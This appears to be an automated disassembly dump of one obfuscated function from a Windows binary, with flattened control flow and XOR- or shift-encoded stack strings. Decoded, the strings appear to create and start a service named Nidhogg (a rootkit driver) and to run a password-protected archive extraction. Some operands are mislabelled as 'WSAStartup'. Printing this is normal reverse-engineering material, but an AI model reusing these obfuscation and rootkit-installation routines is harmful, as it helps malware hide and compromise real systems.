Function at 0x1800415cb
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rax
pushf
mov eax, 0xf70ba79d
pushf
not eax
add eax, 0xc7a67d3b
xor eax, 0x94cb3c1f
rol eax, 0x8f
popf
pushf
not eax
add eax, 0xb2806b8d
xor eax, 0xf98e4822
rol eax, 0x1b
popf
pushf
not eax
add eax, 0xcef062a9
xor eax, 0x9cceda9e
rol eax, 0x80
popf
cmp eax, 4
jne 0x18004161b
popf
pop rax
jmp 0x1800419f7
cmp eax, 0
jne 0x18004162a
popf
pop rax
jmp 0x180041774
cmp eax, 3
jne 0x180041639
popf
pop rax
jmp 0x18004194b
cmp eax, 1
jne 0x180041648
popf
pop rax
jmp 0x180041824
cmp eax, 0xd
jne 0x180041657
popf
pop rax
jmp 0x180042688
cmp eax, 7
jne 0x180041666
popf
pop rax
jmp 0x180041c30
cmp eax, 0xe
jne 0x180041675
popf
pop rax
jmp 0x180042719
cmp eax, 0xb
jne 0x180041684
popf
pop rax
jmp 0x1800424c2
cmp eax, 0xc
jne 0x180041693
popf
pop rax
jmp 0x1800425f1
cmp eax, 8
jne 0x1800416a2
popf
pop rax
jmp 0x180041cb5
cmp eax, 0x10
jne 0x1800416b1
popf
pop rax
jmp 0x1800429b4
cmp eax, 0x17
jne 0x1800416c0
popf
pop rax
jmp 0x180042eee
cmp eax, 9
jne 0x1800416cf
popf
pop rax
jmp 0x180041dca
cmp eax, 0x12
jne 0x1800416de
popf
pop rax
jmp 0x180042c13
cmp eax, 6
jne 0x1800416ed
popf
pop rax
jmp 0x180041ae7
cmp eax, 0x11
jne 0x1800416fc
popf
pop rax
jmp 0x1800429fd
cmp eax, 5
jne 0x18004170b
popf
pop rax
jmp 0x180041a74
cmp eax, 0x16
jne 0x18004171a
popf
pop rax
jmp 0x180042ea1
cmp eax, 0xa
jne 0x180041729
popf
pop rax
jmp 0x180042110
cmp eax, 0x14
jne 0x180041738
popf
pop rax
jmp 0x180042da4
cmp eax, 0xf
jne 0x180041747
popf
pop rax
jmp 0x18004280c
cmp eax, 0x13
jne 0x180041756
popf
pop rax
jmp 0x180042c49
cmp eax, 0x15
jne 0x180041765
popf
pop rax
jmp 0x180042e16
cmp eax, 2
jne 0x180041774
popf
pop rax
jmp 0x180041923
mov rax, rsp
push rbp
lea rbp, [rax - 0x408]
sub rsp, 0x500
mov qword [rbp + 0xd8], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rdi
lea rcx, [rbp + 0x2e0]
call fcn.18000dd38
mov rcx, rax
lea rdx, [rbp + 0x1c0]
mov eax, 0x1f74802
pushf
not eax
add eax, 0xecbf44c9
xor eax, 0x96a720d2
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xcd60351b
xor eax, 0x90232e51
rol eax, 0xca
popf
pushf
not eax
add eax, 0xb1e6597b
xor eax, 0xc3cb9e0f
rol eax, 0x24
popf
lea r8d, [rax + 0x7e]
push rax
pushf
mov eax, 0x7c415b5d
pushf
not eax
add eax, 0x8f7a5900
xor eax, 0xf600cc87
rol eax, 0x16
popf
pushf
not eax
add eax, 0xd085072b
xor eax, 0x8703b91e
rol eax, 0x4d
popf
jmp 0x18004160c
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x60], xmm0
push r8
not r8
sub rdx, r8
pop r8
sub rdx, 1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x10], xmm1
push r8
not r8
sub rcx, r8
pop r8
sub rcx, 1
sub rax, 1
jne 0x1800418ca
push rax
pushf
mov eax, 0x33a391f0
pushf
not eax
add eax, 0x9ce52087
xor eax, 0xa1ac08e1
rol eax, 0x4d
popf
pushf
not eax
add eax, 0x86c1b07f
xor eax, 0x8e7f1827
rol eax, 0x2f
popf
pushf
not eax
add eax, 0x977ac843
xor eax, 0xbfdf9a7c
rol eax, 0x4e
popf
jmp 0x18004160c
push rax
pushf
mov eax, 0xe9b7e4a
pushf
not eax
add eax, 0x9b52a273
xor eax, 0xfb3d40de
rol eax, 0x6f
popf
pushf
not eax
add eax, 0xc7a12f81
xor eax, 0x823c7efc
rol eax, 0xb9
popf
pushf
not eax
add eax, 0xe62c5e20
xor eax, 0x875d2894
rol eax, 0x16
popf
pushf
not eax
add eax, 0x957ab3f9
xor eax, 0xb1468b38
rol eax, 0xea
popf
jmp 0x18004160c
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
mov rax, qword [rcx + 0x10]
mov qword [rdx + 0x10], rax
mov eax, dword [rcx + 0x18]
mov dword [rdx + 0x18], eax
mov rax, qword [rbp + 0x1c0]
shr rax, 0x20
cmp eax, 6
jne 0x180041ae7
cmp dword [rbp + 0x1c8], 1
je 0x18004199e
push rax
pushf
mov eax, 0x4e8b1384
pushf
not eax
add eax, 0xf1eb722b
xor eax, 0xaf166a10
rol eax, 0xcb
popf
pushf
not eax
add eax, 0x80637b13
xor eax, 0xfe11f56b
rol eax, 0xaf
popf
pushf
not eax
add eax, 0xbdcb333d
xor eax, 0x9de81ae6
rol eax, 0xb2
popf
jmp 0x18004160c
push rax
pushf
mov eax, 0x8921b982
pushf
not eax
add eax, 0xe83665f1
xor eax, 0xd5c3d749
rol eax, 0x7a
popf
pushf
not eax
add eax, 0xf2d202d4
xor eax, 0xe24cd828
rol eax, 0x47
popf
pushf
not eax
add eax, 0x9f674faf
xor eax, 0xf1480427
rol eax, 0x84
popf
pushf
not eax
add eax, 0xb0d032c2
xor eax, 0xfac1f194
rol eax, 0x5b
popf
jmp 0x18004160c
cmp eax, eax
jne 0x180041a2e
push rax
pushf
mov eax, 0x1d0f4190
pushf
not eax
add eax, 0xe5fe21a9
xor eax, 0x90ce6b15
rol eax, 0xf4
popf
pushf
not eax
add eax, 0x89ccb39a
xor eax, 0xd8e33191
rol eax, 0xe
popf
jmp 0x18004160c
push rax
pushf
mov eax, 0x45dac688
pushf
not eax
add eax, 0xbff6d083
xor eax, 0xb3364bd0
rol eax, 0xa2
popf
pushf
not eax
add eax, 0xaa07b6bc
xor eax, 0x830c01cf
rol eax, 0x2f
popf
pushf
not eax
add eax, 0xeb031db9
xor eax, 0x93159a8f
rol eax, 0xd0
popf
jmp 0x18004160c
cmp dword [rbp + 0x1c8], 3
je 0x180041ab4
push rax
pushf
mov eax, 0x37955173
pushf
not eax
add eax, 0xa356b715
xor eax, 0xdec13ce9
rol eax, 0xf3
popf
pushf
not eax
add eax, 0xbe48b6bc
xor eax, 0xf41b0eb9
rol eax, 0x8e
popf
jmp 0x18004160c
push rax
pushf
mov eax, 0x783c5e1a
pushf
not eax
add eax, 0xc1764e92
xor eax, 0xf8cd3f35
rol eax, 5
popf
pushf
not eax
add eax, 0xd06db384
xor eax, 0x91d3732d
rol eax, 0x15
popf
jmp 0x18004160c
mov dword [rbp - 0x68], 0x7e
mov eax, dword [rbp - 0x68]
xor eax, 0xffffffbc
mov byte [rbp - 0x64], al
mov eax, dword [rbp - 0x68]
inc al
xor eax, 0xffffffd3
mov byte [rbp - 0x63], al
mov eax, dword [rbp - 0x68]
add al, 2
xor eax, 0xffffffd4
mov byte [rbp - 0x62], al
mov eax, dword [rbp - 0x68]
add al, 3
xor eax, 0xffffffd8
mov byte [rbp - 0x61], al
mov eax, dword [rbp - 0x68]
add al, 4
xor eax, 0xffffffc4
mov byte [rbp - 0x60], al
mov eax, dword [rbp - 0x68]
add al, 5
xor eax, 0xffffffda
mov byte [rbp - 0x5f], al
mov eax, dword [rbp - 0x68]
add al, 6
xor eax, 0xffffffba
mov byte [rbp - 0x5e], al
mov eax, dword [rbp - 0x68]
add al, 7
xor eax, 0xffffffcb
mov byte [rbp - 0x5d], al
mov eax, dword [rbp - 0x68]
add al, 8
xor eax, 0xffffffb1
mov byte [rbp - 0x5c], al
mov eax, dword [rbp - 0x68]
add al, 9
xor eax, 0xffffffa3
mov byte [rbp - 0x5b], al
mov eax, dword [rbp - 0x68]
add al, 0xa
xor eax, 0xffffffbb
mov byte [rbp - 0x5a], al
mov eax, dword [rbp - 0x68]
add al, 0xb
xor eax, 0xffffffa4
mov byte [rbp - 0x59], al
xor eax, eax
mov byte [rbp - 0x58], al
mov al, byte [rbp - 0x64]
lea rcx, [rbp - 0x68]
call fcn.180005b60
mov rdx, rax
lea rcx, [rbp + 0x140]
call fcn.180003760
mov rbx, rax
mov qword [rbp + 0x418], rax
xor edi, edi
cmp dword [0x18002f6e0], edi
je 0x180041bfd
push rax
pushf
mov eax, 0x84a43a78
pushf
not eax
add eax, 0x8d46d213
xor eax, 0xbc821b9e
rol eax, 0x88
popf
pushf
not eax
add eax, 0xdca2850e
xor eax, 0xdfcde501
rol eax, 0xc6
popf
pushf
not eax
add eax, 0xf2541fa6
xor eax, 0xb262c925
rol eax, 0xb9
popf
pushf
not eax
add eax, 0xd2df822e
xor eax, 0x9e4d522c
rol eax, 0x86
popf
jmp 0x18004160c
push rax
pushf
mov eax, 0x4e3d0d3d
pushf
not eax
add eax, 0xc9ddd9a0
xor eax, 0xf77382f9
rol eax, 0x32
popf
pushf
not eax
add eax, 0xea0cb226
xor eax, 0xaf9c7ed8
rol eax, 0x52
popf
jmp 0x18004160c
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800107c0
mov rcx, rax
lea rdx, [0x1d0125863]
pushf
sub rdx, 0x5011508f
popf
jmp 0x180041c55
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
push rax
pushf
mov eax, 0x6e8af97e
pushf
not eax
add eax, 0x9d43c4bc
xor eax, 0xbc131343
rol eax, 0xd0
popf
pushf
not eax
add eax, 0xca7bfbf9
xor eax, 0xef7558db
rol eax, 3
popf
pushf
not eax
add eax, 0xb7af798e
xor eax, 0x9edbce0f
rol eax, 0xd1
popf
pushf
not eax
add eax, 0xf54578c7
xor eax, 0xafe0bd5a
rol eax, 0x6d
popf
jmp 0x18004160c
mov rcx, rbx
call fcn.180003364
nop
mov byte [rbp + 0x410], 0x50
mov byte [rbp + 0x411], 0x6b
mov byte [rbp + 0x412], 0x66
mov byte [rbp + 0x413], 0x6a
mov byte [rbp + 0x414], WSAStartup
mov byte [rbp + 0x415], 0x69
mov byte [rbp + 0x416], 0x69
mov byte [rbp + 0x417], dil
mov al, byte [rbp + 0x410]
lea rcx, [rbp + 0x410]
call fcn.18000b94c
mov rcx, rax
call fcn.18000d3ec
test al, al
jne 0x180041d71
push rax
pushf
mov eax, 0x4dfcfe67
pushf
not eax
add eax, 0xc72d52c0
xor eax, 0xb729f6f3
rol eax, 0xd3
popf
pushf
not eax
add eax, 0xbd076314
xor eax, 0xcf756ecb
rol eax, 0x57
popf
pushf
not eax
add eax, 0xe2c570ca
xor eax, 0x80c000a5
rol eax, 0x12
popf
pushf
not eax
add eax, 0xa120a376
xor eax, 0x9ba82231
rol eax, 0xf7
popf
jmp 0x18004160c
push rax
pushf
mov eax, 0xdea51585
pushf
not eax
add eax, 0xbfc3796e
xor eax, 0xc2ef07cd
rol eax, 0x85
popf
pushf
not eax
add eax, 0xa0c34798
xor eax, 0xa5bafe24
rol eax, 0xb4
popf
pushf
not eax
add eax, 0xb25fd240
xor eax, 0xd4b98556
rol eax, 0x24
popf
pushf
not eax
add eax, 0xc52b6353
xor eax, 0xbf3dc14f
rol eax, 0x7b
popf
jmp 0x18004160c
mov byte [rbp - 0x2d], 0x76
mov byte [rbp - 0x2c], 0x66
mov byte [rbp - 0x2b], 0x23
mov byte [rbp - 0x2a], 0x66
mov byte [rbp - 0x29], 0x75
mov byte [rbp - 0x28], 0x68
mov byte [rbp - 0x27], 0x64
mov byte [rbp - 0x26], 0x77
mov byte [rbp - 0x25], 0x68
mov byte [rbp - 0x24], 0x23
mov byte [rbp - 0x23], 0x51
mov byte [rbp - 0x22], 0x6c
mov byte [rbp - 0x21], 0x67
mov byte [rbp - 0x20], 0x6b
mov byte [rbp - 0x1f], WSAStartup
mov byte [rbp - 0x1e], 0x6a
mov byte [rbp - 0x1d], 0x6a
mov byte [rbp - 0x1c], 0x23
mov byte [rbp - 0x1b], 0x67
mov byte [rbp - 0x1a], 0x6c
mov byte [rbp - 0x19], 0x76
mov byte [rbp - 0x18], reloc.WS2_32.dll_WSAStartup
mov byte [rbp - 0x17], 0x6f
mov byte [rbp - 0x16], 0x64
mov byte [rbp - 0x15], 0x7c
mov byte [rbp - 0x14], WSAStartup
mov byte [rbp - 0x13], 0x64
mov byte [rbp - 0x12], WSAStartup
mov byte [rbp - 0x11], 0x68
mov byte [rbp - 0x10], 0x40
mov byte [rbp - 0xf], 0x23
mov byte [rbp - 0xe], 0x51
mov byte [rbp - 0xd], 0x6c
mov byte [rbp - 0xc], 0x67
mov byte [rbp - 0xb], 0x6b
mov byte [rbp - 0xa], WSAStartup
mov byte [rbp - 9], 0x6a
mov byte [rbp - 8], 0x6a
mov byte [rbp - 7], 0x23
mov byte [rbp - 6], 0x65
mov byte [rbp - 5], 0x6c
mov byte [rbp - 4], WSAStartup
mov byte [rbp - 3], 0x53
mov byte [rbp - 2], 0x64
mov byte [rbp - 1], 0x77
mov byte [rbp], 0x6b
mov byte [rbp + 1], 0x40
mov byte [rbp + 2], 0x23
mov byte [rbp + 3], 0x25
mov byte [rbp + 4], 0x46
mov byte [rbp + 5], 0x3d
mov byte [rbp + 6], 0x5f
mov byte [rbp + 7], 0x53
mov byte [rbp + 8], 0x75
mov byte [rbp + 9], WSAStartup
mov byte [rbp + 0xa], 0x6a
mov byte [rbp + 0xb], 0x75
mov byte [rbp + 0xc], 0x64
mov byte [rbp + 0xd], WSAStartup
mov byte [rbp + 0xe], 0x23
mov byte [rbp + 0xf], 0x49
mov byte [rbp + 0x10], 0x6c
mov byte [rbp + 0x11], 0x6f
mov byte [rbp + 0x12], 0x68
mov byte [rbp + 0x13], 0x76
mov byte [rbp + 0x14], 0x23
mov byte [rbp + 0x15], 0x2b
mov byte [rbp + 0x16], 0x7b
mov byte [rbp + 0x17], 0x3b
mov byte [rbp + 0x18], 0x39
mov byte [rbp + 0x19], 0x2c
mov byte [rbp + 0x1a], 0x5f
mov byte [rbp + 0x1b], 0x5a
mov byte [rbp + 0x1c], 0x68
mov byte [rbp + 0x1d], 0x6a
mov byte [rbp + 0x1e], 0x64
mov byte [rbp + 0x1f], WSAStartup
mov byte [rbp + 0x20], 0x68
mov byte [rbp + 0x21], 0x5f
mov byte [rbp + 0x22], 0x66
mov byte [rbp + 0x23], 0x78
mov byte [rbp + 0x24], 0x75
mov byte [rbp + 0x25], 0x6f
mov byte [rbp + 0x26], 0x31
mov byte [rbp + 0x27], 0x67
mov byte [rbp + 0x28], 0x6f
mov byte [rbp + 0x29], 0x6f
mov byte [rbp + 0x2a], 0x25
mov byte [rbp + 0x2b], 0x23
mov byte [rbp + 0x2c], 0x77
mov byte [rbp + 0x2d], 0x7c
mov byte [rbp + 0x2e], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x2f], 0x68
mov byte [rbp + 0x30], 0x40
mov byte [rbp + 0x31], 0x23
mov byte [rbp + 0x32], 0x6e
mov byte [rbp + 0x33], 0x68
mov byte [rbp + 0x34], 0x75
mov byte [rbp + 0x35], WSAStartup
mov byte [rbp + 0x36], 0x68
mov byte [rbp + 0x37], 0x6f
mov byte [rbp + 0x38], 0x23
mov byte [rbp + 0x39], 0x76
mov byte [rbp + 0x3a], 0x77
mov byte [rbp + 0x3b], 0x64
mov byte [rbp + 0x3c], 0x75
mov byte [rbp + 0x3d], 0x77
mov byte [rbp + 0x3e], 0x40
mov byte [rbp + 0x3f], 0x23
mov byte [rbp + 0x40], 0x64
mov byte [rbp + 0x41], 0x78
mov byte [rbp + 0x42], 0x77
mov byte [rbp + 0x43], WSAStartup
mov byte [rbp + 0x44], dil
mov al, byte [rbp - 0x2d]
lea rcx, [rbp - 0x2d]
call fcn.18000b92c
mov rcx, rax
call fcn.1800345c8
mov byte [rbp - 0x54], 0x47
mov byte [rbp - 0x53], 0x3e
mov byte [rbp - 0x52], 0x60
mov byte [rbp - 0x51], 0x54
mov byte [rbp - 0x50], 0x76
mov byte [rbp - 0x4f], reloc.WS2_32.dll_WSAStartup
mov byte [rbp - 0x4e], 0x6b
mov byte [rbp - 0x4d], 0x76
mov byte [rbp - 0x4c], 0x65
mov byte [rbp - 0x4b], WSAStartup
mov byte [rbp - 0x4a], 0x24
mov byte [rbp - 0x49], 0x4a
mov byte [rbp - 0x48], 0x6d
mov byte [rbp - 0x47], WSAStartup
mov byte [rbp - 0x46], 0x69
mov byte [rbp - 0x45], 0x77
mov byte [rbp - 0x44], 0x24
mov byte [rbp - 0x43], 0x2c
mov byte [rbp - 0x42], 0x7c
mov byte [rbp - 0x41], 0x3c
mov byte [rbp - 0x40], 0x3a
mov byte [rbp - 0x3f], 0x2d
mov byte [rbp - 0x3e], 0x60
mov byte [rbp - 0x3d], 0x5b
mov byte [rbp - 0x3c], 0x69
mov byte [rbp - 0x3b], 0x6b
mov byte [rbp - 0x3a], 0x65
mov byte [rbp - 0x39], WSAStartup
mov byte [rbp - 0x38], 0x69
mov byte [rbp - 0x37], 0x60
mov byte [rbp - 0x36], 0x67
mov byte [rbp - 0x35], 0x79
mov byte [rbp - 0x34], 0x76
mov byte [rbp - 0x33], WSAStartup
mov byte [rbp - 0x32], 0x32
mov byte [rbp - 0x31], 0x68
mov byte [rbp - 0x30], WSAStartup
mov byte [rbp - 0x2f], WSAStartup
mov byte [rbp - 0x2e], dil
mov al, byte [rbp - 0x54]
lea rcx, [rbp - 0x54]
call fcn.18000b90c
mov rdx, rax
lea rcx, [rbp + 0xe0]
call fcn.180003760
nop
lea rcx, [rbp + 0xe0]
call fcn.18000da08
test al, al
sete bl
lea rcx, [rbp + 0xe0]
call fcn.180003364
nop
test bl, bl
je 0x1800420dd
push rax
pushf
mov eax, 0x7c60bf77
pushf
not eax
add eax, 0xa7bab770
xor eax, 0x8e30e8a8
rol eax, 0x2d
popf
pushf
not eax
add eax, 0xd9c70f83
xor eax, 0xeaf3b070
rol eax, 0x18
popf
pushf
not eax
add eax, 0xe27404ea
xor eax, 0xf2c3274e
rol eax, 0xcf
popf
pushf
not eax
add eax, 0xd2f22ad5
xor eax, 0xd9a142e9
rol eax, 0xee
popf
jmp 0x18004160c
push rax
pushf
mov eax, 0x336dfca1
pushf
not eax
add eax, 0xcb256a0e
xor eax, 0xd51851db
rol eax, 0xdb
popf
pushf
not eax
add eax, 0x9b0549e0
xor eax, 0xe0efcfd6
rol eax, 0x5e
popf
jmp 0x18004160c
mov dword [rsp + 0x40], WSAStartup
mov eax, dword [rsp + 0x40]
xor eax, 0x63
mov byte [rsp + 0x44], al
mov eax, dword [rsp + 0x40]
inc al
xor eax, 0x72
mov byte [rsp + 0x45], al
mov eax, dword [rsp + 0x40]
add al, 2
xor eax, 0x61
mov byte [rsp + 0x46], al
mov eax, dword [rsp + 0x40]
add al, 3
xor eax, 0x73
mov byte [rsp + 0x47], al
mov eax, dword [rsp + 0x40]
add al, 4
xor eax, 0x68
mov byte [rsp + 0x48], al
mov eax, dword [rsp + 0x40]
add al, 5
xor eax, 0x5f
mov byte [rsp + 0x49], al
mov eax, dword [rsp + 0x40]
add al, 6
xor eax, 0x72
mov byte [rsp + 0x4a], al
mov eax, dword [rsp + 0x40]
add al, 7
mov ecx, 0xc7ec59d7
pushf
not ecx
add ecx, 0x8701195b
xor ecx, 0x851dc578
rol ecx, 0x88
popf
pushf
not ecx
add ecx, 0xa2a3666d
xor ecx, 0x98a7123a
rol ecx, 0xb4
popf
pushf
not ecx
add ecx, 0xae17f9a8
xor ecx, 0xaeb67d83
rol ecx, 0x9e
popf
pushf
not ecx
add ecx, 0xb5057876
xor ecx, 0xc83d10bd
rol ecx, 0xbe
popf
xor eax, ecx
mov byte [rsp + 0x4b], al
mov eax, dword [rsp + 0x40]
add al, 8
xor eax, 0x70
mov byte [rsp + 0x4c], al
mov eax, dword [rsp + 0x40]
add al, 9
xor eax, 0x6f
mov byte [rsp + 0x4d], al
mov eax, dword [rsp + 0x40]
add al, 0xa
xor eax, 0x72
mov byte [rsp + 0x4e], al
mov eax, dword [rsp + 0x40]
add al, 0xb
xor eax, 0x74
mov byte [rsp + 0x4f], al
mov eax, dword [rsp + 0x40]
add al, 0xc
xor eax, ecx
mov byte [rsp + 0x50], al
mov eax, dword [rsp + 0x40]
add al, 0xd
xor eax, 0x72
mov byte [rsp + 0x51], al
mov eax, dword [rsp + 0x40]
add al, 0xe
xor eax, 0x2e
mov byte [rsp + 0x52], al
mov eax, dword [rsp + 0x40]
add al, 0xf
xor eax, ecx
mov byte [rsp + 0x53], al
mov eax, dword [rsp + 0x40]
add al, 0x10
xor eax, 0x78
mov byte [rsp + 0x54], al
mov eax, dword [rsp + 0x40]
add al, 0x11
xor eax, ecx
mov byte [rsp + 0x55], al
mov eax, dword [rsp + 0x40]
add al, 0x12
xor eax, 0x20
mov byte [rsp + 0x56], al
mov eax, dword [rsp + 0x40]
add al, 0x13
xor eax, 0x78
mov byte [rsp + 0x57], al
mov eax, dword [rsp + 0x40]
add al, 0x14
xor eax, 0x20
mov byte [rsp + 0x58], al
mov eax, dword [rsp + 0x40]
add al, 0x15
xor eax, 0x2d
mov byte [rsp + 0x59], al
mov eax, dword [rsp + 0x40]
add al, 0x16
xor eax, 0x79
mov byte [rsp + 0x5a], al
mov eax, dword [rsp + 0x40]
add al, 0x17
xor eax, 0x20
mov byte [rsp + 0x5b], al
mov eax, dword [rsp + 0x40]
add al, 0x18
xor eax, 0x6c
mov byte [rsp + 0x5c], al
mov eax, dword [rsp + 0x40]
add al, 0x19
xor eax, 0x6f
mov byte [rsp + 0x5d], al
mov eax, dword [rsp + 0x40]
add al, 0x1a
xor eax, 0x63
mov byte [rsp + 0x5e], al
mov eax, dword [rsp + 0x40]
add al, 0x1b
xor eax, 0x61
mov byte [rsp + 0x5f], al
mov eax, dword [rsp + 0x40]
add al, 0x1c
xor eax, 0x6c
mov byte [rsp + 0x60], al
mov eax, dword [rsp + 0x40]
add al, 0x1d
xor eax, ecx
mov byte [rsp + 0x61], al
mov eax, dword [rsp + 0x40]
add al, 0x1e
xor eax, 0x34
mov byte [rsp + 0x62], al
mov eax, dword [rsp + 0x40]
add al, 0x1f
xor eax, 0x2e
mov byte [rsp + 0x63], al
mov eax, dword [rsp + 0x40]
add al, 0x20
xor eax, 0x64
mov byte [rsp + 0x64], al
mov eax, dword [rsp + 0x40]
add al, 0x21
xor eax, 0x61
mov byte [rsp + 0x65], al
mov eax, dword [rsp + 0x40]
add al, 0x22
xor eax, 0x74
mov byte [rsp + 0x66], al
mov eax, dword [rsp + 0x40]
add al, 0x23
xor eax, 0x20
mov byte [rsp + 0x67], al
mov eax, dword [rsp + 0x40]
add al, 0x24
xor eax, 0x2d
mov byte [rsp + 0x68], al
mov eax, dword [rsp + 0x40]
add al, 0x25
xor eax, 0x70
mov byte [rsp + 0x69], al
mov eax, dword [rsp + 0x40]
add al, 0x26
xor eax, 0x64
mov byte [rsp + 0x6a], al
mov eax, dword [rsp + 0x40]
add al, 0x27
xor eax, 0x6f
mov byte [rsp + 0x6b], al
mov eax, dword [rsp + 0x40]
add al, 0x28
xor eax, 0x38
mov byte [rsp + 0x6c], al
mov eax, dword [rsp + 0x40]
add al, 0x29
xor eax, 0x63
mov byte [rsp + 0x6d], al
mov eax, dword [rsp + 0x40]
add al, 0x2a
xor eax, 0x64
mov byte [rsp + 0x6e], al
mov eax, dword [rsp + 0x40]
add al, 0x2b
xor eax, 0x61
mov byte [rsp + 0x6f], al
mov eax, dword [rsp + 0x40]
add al, 0x2c
xor eax, 0x73
mov byte [rsp + 0x70], al
mov eax, dword [rsp + 0x40]
add al, 0x2d
xor eax, 0x64
mov byte [rsp + 0x71], al
mov eax, dword [rsp + 0x40]
add al, 0x2e
xor eax, 0x74
mov byte [rsp + 0x72], al
mov eax, dword [rsp + 0x40]
add al, 0x2f
xor eax, 0x6f
mov byte [rsp + 0x73], al
mov eax, dword [rsp + 0x40]
add al, 0x30
xor eax, 0x38
mov byte [rsp + 0x74], al
mov eax, dword [rsp + 0x40]
add al, 0x31
xor eax, 0x31
mov byte [rsp + 0x75], al
mov eax, dword [rsp + 0x40]
add al, 0x32
xor eax, 0x33
mov byte [rsp + 0x76], al
mov eax, dword [rsp + 0x40]
add al, 0x33
xor eax, 0x79
mov byte [rsp + 0x77], al
mov eax, dword [rsp + 0x40]
add al, 0x34
xor eax, 0x37
mov byte [rsp + 0x78], al
mov eax, dword [rsp + 0x40]
add al, 0x35
xor eax, ecx
mov byte [rsp + 0x79], al
mov eax, dword [rsp + 0x40]
add al, 0x36
xor eax, 0x32
mov byte [rsp + 0x7a], al
mov eax, dword [rsp + 0x40]
add al, 0x37
xor eax, 0x31
mov byte [rsp + 0x7b], al
mov eax, dword [rsp + 0x40]
add al, 0x38
xor eax, ecx
mov byte [rsp + 0x7c], al
xor eax, eax
mov byte [rsp + 0x7d], al
mov al, byte [rsp + 0x44]
lea rcx, [rsp + 0x40]
call fcn.18000b8e4
mov rcx, rax
call fcn.1800345c8
push rax
pushf
mov eax, 0x504c15a0
pushf
not eax
add eax, 0xeb84c0dd
xor eax, 0xe2a16083
rol eax, 0xe1
popf
pushf
not eax
add eax, 0xb00eeef1
xor eax, 0xfaa83f85
rol eax, 0xbf
popf
pushf
not eax
add eax, 0x81955c2b
xor eax, 0xd21d7cb0
rol eax, 0x10
popf
pushf
not eax
add eax, 0xd28afbb4
xor eax, 0xdb6bef6d
rol eax, 0x66
popf
jmp 0x18004160c
mov dword [rbp - 0x80], 0x38
mov eax, dword [rbp - 0x80]
xor eax, 0x73
mov byte [rbp - 0x7c], al
mov eax, dword [rbp - 0x80]
inc al
xor eax, 0x63
mov byte [rbp - 0x7b], al
mov eax, dword [rbp - 0x80]
add al, 2
xor eax, 0x20
mov byte [rbp - 0x7a], al
mov eax, dword [rbp - 0x80]
add al, 3
xor eax, 0x73
mov byte [rbp - 0x79], al
mov eax, dword [rbp - 0x80]
add al, 4
xor eax, 0x74
mov byte [rbp - 0x78], al
mov eax, dword [rbp - 0x80]
add al, 5
xor eax, 0x61
mov byte [rbp - 0x77], al
mov eax, dword [rbp - 0x80]
add al, 6
xor eax, 0x72
mov byte [rbp - 0x76], al
mov eax, dword [rbp - 0x80]
add al, 7
xor eax, 0x74
mov byte [rbp - 0x75], al
mov eax, dword [rbp - 0x80]
add al, 8
xor eax, 0x20
mov byte [rbp - 0x74], al
mov eax, dword [rbp - 0x80]
add al, 9
xor eax, 0x4e
mov byte [rbp - 0x73], al
mov eax, dword [rbp - 0x80]
add al, 0xa
xor eax, 0x69
mov byte [rbp - 0x72], al
mov eax, dword [rbp - 0x80]
add al, 0xb
xor eax, 0x64
mov byte [rbp - 0x71], al
mov eax, dword [rbp - 0x80]
add al, 0xc
xor eax, 0x68
mov byte [rbp - 0x70], al
mov eax, dword [rbp - 0x80]
add al, 0xd
xor eax, 0x6f
mov byte [rbp - 0x6f], al
mov eax, dword [rbp - 0x80]
add al, 0xe
xor eax, 0x67
mov byte [rbp - 0x6e], al
mov eax, dword [rbp - 0x80]
add al, 0xf
xor eax, 0x67
mov byte [rbp - 0x6d], al
xor eax, eax
mov byte [rbp - 0x6c], al
mov al, byte [rbp - 0x7c]
lea rcx, [rbp - 0x80]
call fcn.18000b8bc
mov rcx, rax
call fcn.1800345c8
mov ebx, edi
jmp 0x180042719
inc ebx
cmp ebx, 5
je 0x18004262f
push rax
pushf
mov eax, 0x3c25f57d
pushf
not eax
add eax, 0xbae04497
xor eax, 0x8d2d7e15
rol eax, 0xc3
popf
pushf
not eax
add eax, 0xc10a8b67
xor eax, 0xf45102ff
rol eax, 0x64
popf
jmp 0x18004160c
push rax
pushf
mov eax, 0x18d98a78
pushf
not eax
add eax, 0xc1dba3db
xor eax, 0xddaca63d
rol eax, 0x55
popf
pushf
not eax
add eax, 0xf5edfbe8
xor eax, 0xde4ebbc7
rol eax, 0x4d
popf
pushf
not eax
add eax, 0xa33e61ad
xor eax, 0xf15cce98
rol eax, 0xc2
popf
pushf
not eax
add eax, 0x8beebeb7
xor eax, 0xb0701df7
rol eax, 0x21
popf
jmp 0x18004160c
mov ecx, 0x97dd282
pushf
not ecx
add ecx, 0xebea4d7a
xor ecx, 0xe1294cf0
rol ecx, 0xdd
popf
pushf
not ecx
add ecx, 0xc1411eeb
xor ecx, 0xfbcaf77f
rol ecx, 0x29
popf
pushf
not ecx
add ecx, 0xc17fe8e3
xor ecx, 0x9c6e9eac
rol ecx, 0x96
popf
jmp 0x1800426cd
call qword [0x18002f960]
push rax
pushf
mov eax, 0xc1488794
pushf
not eax
add eax, 0x8b965688
xor eax, 0x98c2f709
rol eax, 0x76
popf
pushf
not eax
add eax, 0xf05aa713
xor eax, 0xbfaed63d
rol eax, 0x53
popf
pushf
not eax
add eax, 0xfbded6db
xor eax, 0xd0106397
